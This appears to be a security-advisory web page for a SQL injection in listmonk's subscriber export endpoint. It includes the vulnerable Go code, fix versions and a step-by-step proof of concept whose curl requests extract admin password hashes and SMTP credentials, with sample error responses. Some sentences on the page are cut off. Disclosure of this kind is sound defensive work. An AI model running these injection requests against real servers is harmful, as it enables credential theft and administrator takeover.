GITHUB.COM/KNADH/LISTMONK · CVE-2026-62361 · Package
FIX → 1.1.1-0.20260619102436-c0a6525009a6
The subscriber export endpoint in listmonk skips the table access check that the regular subscriber query applies, so an authenticated user can run injected SQL against tables like users and settings. An attacker with that permission can read admin bcrypt hashes and SMTP credentials, and possibly write data through PostgreSQL data-modifying CTEs.
first public Jun 26, 2026 · 2 sources
Check it with your coding agent
It checks your repository and tells you if you’re affected, with the fix.
Teams running listmonk where users hold the subscribers:sql_query permission can reach the export endpoint and read tables the regular query endpoint blocks. Exposure depends on who has that permission and whether the instance is reachable by those users. Instances where only fully trusted admins have the permission are at lower risk but should still update.
Not affected if auth-required, default-config
Who cares cwe-89, go, listmonk, postgresql, self-hosted
github.com/knadh/listmonk and confirm it is at or beyond 1.1.1-0.20260619102436-c0a6525009a6.subscribers:sql_query permission and whether subscribers:get_all is also granted./api/subscribers/export with a query parameter in web server or application logs.A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sql_query permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sql_query → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.
The subscriber query feature accepts a user-controlled query parameter that is injected directly into a SQL template via strings.ReplaceAll. The regular query endpoint GET /api/subscribers correctly calls validateQueryTables to block access to sensitive tables before execution. The export endpoint GET /api/subscribers/export , creating an asymmetric bypass of an intentional security control.
Are you affected?
Tell InfraStack what you run. It checks this one, and every next one, against your stack.
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
Upgrade to 1.1.1-0.20260619102436-c0a6525009a6
1.1.1-0.20260619102436-c0a6525009a6internal/core/subscribers.go — protected path (regular query):
// QuerySubscribers — table validation present
stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond)
if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {
return nil, 0, echo.NewHTTPError(http.StatusBadRequest,
fmt.Sprintf("Error preparing subscriber query: %v", err))
}
internal/core/subscribers.go — vulnerable path (export):
// ExportSubscribers — NO table validation
stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond)
tx, err := c.db.Preparex(stmt) // executes directly without restriction
queries/subscribers.sql — the %query% placeholder is injected into a WHERE clause:
SELECT subscribers.id, subscribers.email, ...
FROM subscribers
LEFT JOIN subscriber_lists ON ...
WHERE (subscribers.status != 'blocklisted') AND %query%
ORDER BY subscribers.id ASC LIMIT ...
Because the export path does not run inside a ReadOnly transaction (unlike the dry-run used in QuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.
Prerequisites: Authenticated session with subscribers:sql_query and subscribers:get_all permissions.
Step 1 — Confirm the bypass (blocked on query, open on export):
# Blocked on regular endpoint:
curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}
# Bypassed on export endpoint:
curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 200: returns subscriber rows with no error
Step 2 — Error-based exfiltration of admin password hash:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\""
}
Step 3 — Error-based exfiltration of SMTP credentials:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\""
}
Step 4 — Time-based blind confirmation:
time curl -s "http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# Returns after ~3 seconds — confirms arbitrary SQL function execution
This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the subscribers:sql_query permission can:
settings tableAttack chain: subscribers:sql_query → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.
This finding is distinct from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies validateQueryTables to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.